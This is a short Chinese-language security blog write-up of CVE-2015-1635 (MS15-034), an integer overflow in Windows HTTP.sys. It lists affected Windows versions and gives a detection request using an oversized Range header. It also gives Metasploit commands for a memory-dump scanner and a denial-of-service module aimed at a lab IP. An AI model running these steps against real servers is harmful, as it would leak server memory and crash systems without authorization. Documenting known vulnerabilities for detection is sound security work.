CVE-2015-1635-HTTP.SYS远程执行代码

这个漏洞刚好是在挖SRC的时候找到的，漏洞危害能打到服务器蓝屏，以下只作验证

参考

https://www.jianshu.com/p/2e00da8a12de

https://blog.csdn.net/qq_43398810/article/details/87877499

漏洞详情

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞，当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求，HTTP.sys 未正确分析时就会导致此漏洞，成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server 2008

Windows server 2012

漏洞检测

HTTP.sys漏洞的检测比较简单，先判断目标环境是不是Windows+IIS，然后构造Range字段进行检测即可。

检测时，在请求包中添加Range字段，如下：

Range: bytes=0-18446744073709551615

提交给服务器，查看服务器响应。

服务器响应400，证明不存在HTTP.sys远程代码执行漏洞。如果响应416，则证明系统存在漏洞。

MSF也有攻击模块可以使用

（1）利用ms15-034漏洞读取服务器内存数据

借助metasploit平台，截图如下：

use auxiliary/scanner/http/ms15_034_http_sys_memory_dump

set rhosts 192.168.80.130

run

（2）利用ms15-034漏洞进行ddos攻击

同样借助metasploit平台，截图如下：

use auxiliary/dos/http/ms15_034_ulonglongadd

set rhosts 192.168.80.130

set threads 10

run